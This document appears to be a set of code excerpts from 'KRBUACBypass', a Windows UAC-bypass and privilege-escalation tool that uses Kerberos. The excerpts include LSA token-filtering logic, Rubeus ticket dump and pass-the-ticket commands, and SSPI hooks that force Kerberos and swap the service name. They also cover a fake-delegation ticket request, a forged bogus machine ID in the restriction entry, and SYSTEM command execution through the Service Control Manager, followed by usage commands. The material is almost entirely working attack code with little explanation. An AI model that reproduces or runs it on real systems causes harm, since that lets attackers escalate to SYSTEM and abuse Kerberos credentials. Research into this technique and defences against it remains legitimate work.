typedef struct _LSAP_TOKEN_INFO_INTEGRITY {   unsigned long Flags;   unsigned long TokenIL;   unsigned char MachineID[32]; } LSAP_TOKEN_INFO_INTEGRITY, *PLSAP_TOKEN_INFO_INTEGRITY;

NTSTATUS LsaISetSupplementalTokenInfo(PHANDLE phToken,                         PLSAP_TOKEN_INFO_INTEGRITY pTokenInfo) {  // ...  BOOL bLoopback = FALSE:  BOOL bFilterNetworkTokens = FALSE;
  if (!memcmp(&LsapGlobalMachineID, pTokenInfo->MachineID,       sizeof(LsapGlobalMachineID))) {    bLoopback = TRUE;  }
  if (LsapGlobalFilterNetworkAuthenticationTokens) {    if (pTokenInfo->Flags & LimitedToken) {      bFilterToken = TRUE;    }  }
  PSID user = GetUserSid(*phToken);  if (!RtlEqualPrefixSid(LsapAccountDomainMemberSid, user)    || LsapGlobalLocalAccountTokenFilterPolicy     || NegProductType == NtProductLanManNt) {    if ( !bFilterToken && !bLoopback )      return STATUS_SUCCESS;  }
  /// Filter token if needed and drop integrity level.}

klist get HOST/$env:COMPUTERNAME

Rubeus.exe dump /server:$env:COMPUTERNAME /nowrap

Rubeus.exe ptt /ticket:<BASE64 TICKET>

SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(    _In_opt_  LPWSTR pszPrincipal,                // Name of principal    _In_      LPWSTR pszPackage,                  // Name of package    _In_      unsigned long fCredentialUse,       // Flags indicating use    _In_opt_  void* pvLogonId,                   // Pointer to logon ID    _In_opt_  void* pAuthData,                   // Package specific data    _In_opt_  SEC_GET_KEY_FN pGetKeyFn,           // Pointer to GetKey() func    _In_opt_  void* pvGetKeyArgument,            // Value to pass to GetKey()    _Out_     PCredHandle phCredential,           // (out) Cred Handle    _Out_opt_ PTimeStamp ptsExpiry                // (out) Lifetime (optional)){    WCHAR kerberos_package[] = MICROSOFT_KERBEROS_NAME_W;    printf("AcquireCredentialsHandleHook called for package %lsn", pszPackage);    if (_wcsicmp(pszPackage, L"Negotiate") == 0) {        pszPackage = kerberos_package;        printf("Changing to %ls packagen", pszPackage);    }    return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse,        pvLogonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);}
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextWHook(    _In_opt_    PCredHandle phCredential,               // Cred to base context    _In_opt_    PCtxtHandle phContext,                  // Existing context (OPT)    _In_opt_ SEC_WCHAR* pszTargetName,         // Name of target    _In_        unsigned long fContextReq,              // Context Requirements    _In_        unsigned long Reserved1,                // Reserved, MBZ    _In_        unsigned long TargetDataRep,            // Data rep of target    _In_opt_    PSecBufferDesc pInput,                  // Input Buffers    _In_        unsigned long Reserved2,                // Reserved, MBZ    _Inout_opt_ PCtxtHandle phNewContext,               // (out) New Context handle    _Inout_opt_ PSecBufferDesc pOutput,                 // (inout) Output Buffers    _Out_       unsigned long* pfContextAttr,  // (out) Context attrs    _Out_opt_   PTimeStamp ptsExpiry                    // (out) Life span (OPT)){    // Change the SPN to match with the UAC bypass ticket you've registered.    printf("InitializeSecurityContext called for target %lsn", pszTargetName);    SECURITY_STATUS status = InitializeSecurityContextW(phCredential, phContext, &spn[0],         fContextReq, Reserved1, TargetDataRep, pInput,        Reserved2, phNewContext, pOutput, pfContextAttr, ptsExpiry);    printf("InitializeSecurityContext status = %08Xn", status);    return status;}
// ...
int wmain(int argc, wchar_t** argv){    // ...
    PSecurityFunctionTableW table = InitSecurityInterfaceW();    table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook;    table->InitializeSecurityContextW = InitializeSecurityContextWHook;
    // ...}

private static void Run(string[] args, Options options){  string method = args[0];  string command = options.Command;  Verbose = options.Verbose;
    // Get domain controller name  string domainController = Networking.GetDCName();    // Get the dns host name of the current host and construct the SPN of the HOST service  string service = $"HOST/{Dns.GetHostName()}";    // Default kerberos etype  Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial;  string outfile = "";  bool ptt = true;
  if(method == "asktgs")  {        // Execute the tgtdeleg trick    byte[] blah = LSA.RequestFakeDelegTicket();    KRB_CRED kirbi = new KRB_CRED(blah);    Ask.TGS(kirbi, service, requestEType, outfile, ptt, domainController);  }
  if (method == "krbscm")  {    // extract out the tickets (w/ full data) with the specified targeting options    List<LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(false, new LUID(), "HOST", null, null, true);
    if(sessionCreds[0].Tickets.Count > 0)    {      // display tickets with the "Full" format      LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist);      try      {        KrbSCM.Execute(command);      }      catch { }      return;    }    else    {      Console.WriteLine("[-] Please request a HOST service ticket for the current user first.");      Console.WriteLine("[-] Please execute: KRBUACBypass.exe asktgs.");      return;    }  }
  if (method == "system")  {    try    {      KrbSCM.RunSystemProcess(Convert.ToInt32(args[1]));    }    catch { }    return;  }}

if(method == "asktgs"){  // Execute the tgtdeleg trick  byte[] blah = LSA.RequestFakeDelegTicket();  KRB_CRED kirbi = new KRB_CRED(blah);  Ask.TGS(kirbi, service, requestEType, outfile, ptt, domainController);}

KRB-CRED        ::= [APPLICATION 22] SEQUENCE {        pvno            [0] INTEGER (5),        msg-type        [1] INTEGER (22),        tickets         [2] SEQUENCE OF Ticket,        enc-part        [3] EncryptedData -- EncKrbCredPart}
EncKrbCredPart  ::= [APPLICATION 29] SEQUENCE {        ticket-info     [0] SEQUENCE OF KrbCredInfo,        nonce           [1] UInt32 OPTIONAL,        timestamp       [2] KerberosTime OPTIONAL,        usec            [3] Microseconds OPTIONAL,        s-address       [4] HostAddress OPTIONAL,        r-address       [5] HostAddress OPTIONAL}
KrbCredInfo     ::= SEQUENCE {        key             [0] EncryptionKey,        prealm          [1] Realm OPTIONAL,        pname           [2] PrincipalName OPTIONAL,        flags           [3] TicketFlags OPTIONAL,        authtime        [4] KerberosTime OPTIONAL,        starttime       [5] KerberosTime OPTIONAL,        endtime         [6] KerberosTime OPTIONAL,        renew-till      [7] KerberosTime OPTIONAL,        srealm          [8] Realm OPTIONAL,        sname           [9] PrincipalName OPTIONAL,        caddr           [10] HostAddresses OPTIONAL}

if (KRBUACBypass.Program.BogusMachineID){    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;    req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
    // Add a KERB-AD-RESTRICTION-ENTRY but fill in a bogus machine ID.    // Initializes a new AD-IF-RELEVANT container    ADIfRelevant ifrelevant = new ADIfRelevant();    // Initializes a new KERB-AD-RESTRICTION-ENTRY element    ADRestrictionEntry restrictions = new ADRestrictionEntry();    // Initializes a new KERB-LOCAL element, optional    ADKerbLocal kerbLocal = new ADKerbLocal();    // Add a KERB-AD-RESTRICTION-ENTRY element to the AD-IF-RELEVANT container    ifrelevant.ADData.Add(restrictions);  // Optional    ifrelevant.ADData.Add(kerbLocal);    // ASN.1 encode the contents of the AD-IF-RELEVANT container    AsnElt authDataSeq = ifrelevant.Encode();    // Encapsulate the ASN.1-encoded AD-IF-RELEVANT container into a SEQUENCE type    authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);    // Get the final authorization data byte array    byte[] authorizationDataBytes = authDataSeq.Encode();    // Encrypt authorization data to generate enc_authorization_data byte array    byte[] enc_authorization_data = Crypto.KerberosEncrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes);    // Assign the encrypted authorization data to the enc_authorization_data field of the KRB_KDC_REQ    req.req_body.enc_authorization_data = new EncryptedData((Int32)paEType, enc_authorization_data);
    // encode req_body for authenticator cksum    // Optional    AsnElt req_Body_ASN = req.req_body.Encode();    AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });    req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);    byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();    cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);}

KRBUACBypass.exe asktgsKRBUACBypass.exe krbscm